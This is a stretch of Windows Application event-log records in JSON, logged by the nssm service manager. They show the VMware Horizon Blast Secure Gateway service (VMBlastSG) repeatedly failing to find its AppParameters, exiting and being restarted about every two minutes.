{"@timestamp":1646829386354,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166698}}
{"@timestamp":1646829386354,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166699}}
{"@timestamp":1646829386355,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166700}}
{"@timestamp":1646829386355,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166701}}
{"@timestamp":1646829514825,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166702}}
{"@timestamp":1646829514826,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166703}}
{"@timestamp":1646829514827,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155928","0"]}}},"module":"Application","provider":"nssm","sequence":166704}}
{"@timestamp":1646829514827,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155928","155928","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166705}}
{"@timestamp":1646829514844,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166706}}
{"@timestamp":1646829514845,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166707}}
{"@timestamp":1646829514845,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166708}}
{"@timestamp":1646829514846,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166709}}
{"@timestamp":1646829643360,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166710}}
{"@timestamp":1646829643361,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166711}}
{"@timestamp":1646829643362,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162924","0"]}}},"module":"Application","provider":"nssm","sequence":166712}}
{"@timestamp":1646829643363,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162924","162924","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166713}}
{"@timestamp":1646829643382,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166714}}
{"@timestamp":1646829643383,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166715}}
{"@timestamp":1646829643383,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166716}}
{"@timestamp":1646829643384,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166717}}
{"@timestamp":1646829772061,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166718}}
{"@timestamp":1646829772062,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166719}}
{"@timestamp":1646829772062,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162228","0"]}}},"module":"Application","provider":"nssm","sequence":166720}}
{"@timestamp":1646829772063,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162228","162228","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166721}}
{"@timestamp":1646829772079,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160848","0"]}}},"module":"Application","provider":"nssm","sequence":166722}}
{"@timestamp":1646829772079,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160848","162228","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166723}}
{"@timestamp":1646829772094,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166724}}
{"@timestamp":1646829772095,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166725}}
{"@timestamp":1646829772095,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166726}}
{"@timestamp":1646829772096,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166727}}
{"@timestamp":1646829900581,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166728}}
{"@timestamp":1646829900584,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166729}}
{"@timestamp":1646829900584,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163712","0"]}}},"module":"Application","provider":"nssm","sequence":166730}}
{"@timestamp":1646829900585,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163712","163712","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166731}}
{"@timestamp":1646829900603,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166732}}
{"@timestamp":1646829900604,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166733}}
{"@timestamp":1646829900604,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166734}}
{"@timestamp":1646829900605,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166735}}
{"@timestamp":1646830029107,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166736}}
{"@timestamp":1646830029108,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166737}}
{"@timestamp":1646830029108,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162488","0"]}}},"module":"Application","provider":"nssm","sequence":166738}}
{"@timestamp":1646830029109,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162488","162488","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166739}}
{"@timestamp":1646830029126,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166740}}
{"@timestamp":1646830029127,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166741}}
{"@timestamp":1646830029127,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166742}}
{"@timestamp":1646830029128,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166743}}
{"@timestamp":1646830157708,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166744}}
{"@timestamp":1646830157711,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166745}}
{"@timestamp":1646830157711,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","136612","0"]}}},"module":"Application","provider":"nssm","sequence":166746}}
{"@timestamp":1646830157712,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["136612","136612","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166747}}
{"@timestamp":1646830157728,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166748}}
{"@timestamp":1646830157729,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166749}}
{"@timestamp":1646830157729,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166750}}
{"@timestamp":1646830157730,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166751}}
{"@timestamp":1646830286256,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166752}}
{"@timestamp":1646830286257,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166753}}
{"@timestamp":1646830286258,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157988","0"]}}},"module":"Application","provider":"nssm","sequence":166754}}
{"@timestamp":1646830286259,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157988","157988","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166755}}
{"@timestamp":1646830286276,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166756}}
{"@timestamp":1646830286276,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166757}}
{"@timestamp":1646830286277,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166758}}
{"@timestamp":1646830286278,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166759}}
{"@timestamp":1646830414780,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166760}}
{"@timestamp":1646830414781,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166761}}
{"@timestamp":1646830414782,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163668","0"]}}},"module":"Application","provider":"nssm","sequence":166762}}
{"@timestamp":1646830414783,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163668","163668","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166763}}
{"@timestamp":1646830414801,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166764}}
{"@timestamp":1646830414801,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166765}}
{"@timestamp":1646830414802,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166766}}
{"@timestamp":1646830414802,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166767}}
{"@timestamp":1646830543297,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166768}}
{"@timestamp":1646830543298,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166769}}
{"@timestamp":1646830543299,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162540","0"]}}},"module":"Application","provider":"nssm","sequence":166770}}
{"@timestamp":1646830543299,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162540","162540","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166771}}
{"@timestamp":1646830543316,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166772}}
{"@timestamp":1646830543316,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166773}}
{"@timestamp":1646830543317,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166774}}
{"@timestamp":1646830543317,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166775}}
{"@timestamp":1646830671817,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166776}}
{"@timestamp":1646830671818,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166777}}
{"@timestamp":1646830671819,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163800","0"]}}},"module":"Application","provider":"nssm","sequence":166778}}
{"@timestamp":1646830671820,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163800","163800","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166779}}
{"@timestamp":1646830671840,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166780}}
{"@timestamp":1646830671840,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166781}}
{"@timestamp":1646830671841,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166782}}
{"@timestamp":1646830671842,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166783}}
{"@timestamp":1646830800332,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166784}}
{"@timestamp":1646830800333,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166785}}
{"@timestamp":1646830800334,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162312","0"]}}},"module":"Application","provider":"nssm","sequence":166786}}
{"@timestamp":1646830800334,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162312","162312","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166787}}
{"@timestamp":1646830800350,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166788}}
{"@timestamp":1646830800351,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166789}}
{"@timestamp":1646830800352,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166790}}
{"@timestamp":1646830800353,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166791}}
{"@timestamp":1646830928834,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166792}}
{"@timestamp":1646830928835,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166793}}
{"@timestamp":1646830928836,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161904","0"]}}},"module":"Application","provider":"nssm","sequence":166794}}
{"@timestamp":1646830928837,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161904","161904","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166795}}
{"@timestamp":1646830928854,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166796}}
{"@timestamp":1646830928855,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166797}}
{"@timestamp":1646830928855,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166798}}
{"@timestamp":1646830928856,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166799}}
{"@timestamp":1646831057343,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166800}}
{"@timestamp":1646831057344,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166801}}
{"@timestamp":1646831057345,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163152","0"]}}},"module":"Application","provider":"nssm","sequence":166802}}
